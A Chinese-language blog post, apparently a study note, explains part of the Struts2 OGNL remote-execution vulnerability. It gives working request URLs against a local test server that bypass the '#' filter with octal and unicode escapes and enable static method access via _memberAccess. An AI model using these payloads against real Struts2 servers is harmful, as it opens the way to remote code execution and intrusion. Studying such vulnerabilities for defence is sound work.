struts2远程执行漏洞学习(二)

35 篇文章 0 订阅
7 篇文章 0 订阅

  http://commons.apache.org/ognl/language-guide.html

这个是ognl的官网,在这里能看到不少这个ognl的表达式的介绍。

下来开始测试,

 

我首先选择的是struts2.1.18版本这是一个简单的赋值测试,目的是改变context中的

43_memberAccess['allowStaticMethodAccess']=true,这个事webwork中很重要的一个参数,他决定了你是否可以在ognl表达式中使用静态方法,这个在后面的使用中十分重要。

 

 

 

http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true

 

实际上这句话并不能很好的完成工作,因为struts2中的xwork过滤掉了#,这里就是这个漏洞的起始点,虽然他过滤掉了#

但是我们可以使用\u0020  \43   \043 ,分别是16进制的unicode编码,8进制的编码这三种方式绕过对#的过滤

http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true

 

但是如果这样依旧会有问题,会产生无法解析的语法树,因为\43这样的他是直接无法解析的,需要用'号括起来

http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外层有了单引号,所以内层也要对单引号做转义。这样的语句就可以正常生成ast树了

 

接下来问题实际上是现在这样仍然无法识别出#_memberAccess['allowStaticMethodAccess'],所以这里才用了个小技巧,构造了复杂一些的ast树

('\43_memberAccess[\'allowStaticMethodAccess\']')(a)

这样的ast树实际上是有两个节点,

('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

然后赋值就可以了,这里我觉得之所以需要构建2层语法树,实质上是和转义有关的。

 

 

http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true

这就是对



 
对这个context中控制ognl关键变量的改变。
 

 

当然我们还有另一种写法

http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true

这样的写法也是可以的,而且比较简洁,就看你怎么选了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值